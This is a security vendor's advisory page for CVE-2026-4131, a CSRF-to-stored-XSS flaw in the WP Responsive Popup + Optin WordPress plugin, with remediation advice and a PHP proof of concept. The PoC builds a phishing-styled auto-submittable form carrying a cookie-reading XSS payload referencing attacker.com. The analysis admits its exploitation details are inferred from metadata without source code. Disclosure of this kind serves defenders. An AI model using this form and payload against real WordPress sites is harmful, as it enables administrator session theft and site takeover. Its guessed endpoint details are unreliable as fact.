Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 23, 2026

CVE-2026-4131: WP Responsive Popup + Optin <= 1.4 – Cross-Site Request Forgery to Stored Cross-Site Scripting via 'wpo_image_url' Parameter (wp-popup-optin)

CVE ID CVE-2026-4131
Plugin wp-popup-optin
Severity Medium (CVSS 6.1)
CWE 352
Vulnerable Version 1.4
Patched Version —
Disclosed April 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4131 (metadata-based):

This vulnerability combines Cross-Site Request Forgery (CSRF) with Stored Cross-Site Scripting (XSS) in the WP Responsive Popup + Optin plugin, versions 1.4 and earlier. The plugin’s settings page fails to implement WordPress nonce security, allowing an attacker to forge a request that changes plugin settings. The attacker specifically targets the ‘wpo_image_url’ parameter to inject malicious JavaScript that persists in the plugin’s configuration.

Root Cause: The plugin’s admin settings form in wpo_admin_page.php lacks wp_nonce_field() generation and wp_verify_nonce()/check_admin_referer() verification. This is a classic CSRF omission. The attacker can therefore craft a request that modifies any plugin setting, including ‘wpo_image_url’, without the victim administrator’s consent. The admin having legitimate edit access then loads the settings page, which renders the attacker-controlled image URL in an HTML context without proper escaping, causing stored XSS. Since no patched version exists, this inference comes entirely from the CWE classification (352: CSRF) and the description. Atomic Edge research cannot confirm details like the exact rendering context or the presence of alternative security checks without source code.

Exploitation: The attack targets the plugin’s settings submission endpoint, likely /wp-admin/options-general.php?page=wp-responsive-popup-optin (or a similar admin page). The attacker crafts a malicious HTML form or an image tag with an onclick event that submits a POST request to the same admin page. The request includes the ‘wpo_image_url’ parameter containing a JavaScript payload, such as: wpo_image_url=https://attacker.com/exploit.png” onerror=”alert(1)” or a more subtle JavaScript URI. The victim administrator must be logged into WordPress. The attacker tricks the administrator into clicking a link or visiting a page with the forged form. Once the administrator submits the form (unwittingly via CSRF), the settings are updated. The next time the admin views the plugin’s settings page, the stored payload executes in their browser session.

Remediation: The fix requires adding WordPress CSRF protection to the settings form. The plugin developer must add wp_nonce_field(‘wpo_settings_nonce’) to the form in wpo_admin_page.php. Then, on form submission, they must verify the nonce with check_admin_referer(‘wpo_settings_nonce’) or wp_verify_nonce($_REQUEST[‘_wpnonce’], ‘wpo_settings_nonce’). Additionally, the plugin should validate and sanitize the ‘wpo_image_url’ input using esc_url_raw() or similar, and escape output with esc_url() when rendering. Since no patched version exists, users should uninstall the plugin or remove its code entirely.

Impact: An unauthenticated attacker can force a site administrator to unknowingly update plugin settings. The stored XSS via the ‘wpo_image_url’ parameter allows the attacker to execute arbitrary JavaScript in the admin’s browser. This can lead to privilege escalation (creating new admin accounts), sensitive data theft (session cookies, database information), complete site compromise through malicious plugin/theme installation, or defacement. The CVSS score of 6.1 reflects the need for user interaction (the admin clicking) but the low complexity and network access make this a serious issue.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4131 - WP Responsive Popup + Optin <= 1.4 CSRF to Stored XSS via 'wpo_image_url'

// This PoC demonstrates a Cross-Site Request Forgery attack that updates the plugin's
// 'wpo_image_url' setting to inject a stored XSS payload.

// Configurable target URL (WordPress admin URL)
$target_url = 'http://example.com/wp-admin/options-general.php?page=wp-responsive-popup-optin';

// The XSS payload to inject via 'wpo_image_url'
// We use a harmless alert for proof-of-concept. In a real attack, this would be malicious JS.
$xss_payload = 'https://attacker.com/image.png" onerror="alert(document.cookie)"';

// Create a hidden form that auto-submits to the plugin settings page
// This mimics what an attacker would embed in a page or email
$html_form = <<<HTML
<!DOCTYPE html>
<html>
<body>
<h1>Please click the link below to verify your account</h1>
<form id="csrf_form" action="$target_url" method="POST">
  <input type="hidden" name="wpo_image_url" value="$xss_payload">
  <!-- Additional plugin settings fields can be added or omitted; missing fields default -->
  <input type="hidden" name="wpo_enable_popup" value="1">
  <input type="hidden" name="wpo_popup_delay" value="0">
  <input type="hidden" name="wpo_popup_width" value="400">
  <input type="hidden" name="wpo_popup_height" value="300">
  <input type="submit" value="Verify Account" style="padding:10px 20px;background:blue;color:white;">
</form>
<script>
  // Auto-submit after 1 second (can also be triggered via click)
  // Uncomment the line below for automated attack without user click:
  // document.getElementById('csrf_form').submit();
</script>
</body>
</html>
HTML;

// Output the HTML form
// In a real scenario, the attacker would host this on their server or inject it into a compromised site
echo $html_form;

// Note: Since no patched version exists, this PoC serves as a demonstration only.
// The attacker must trick a logged-in WordPress administrator into visiting this page.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School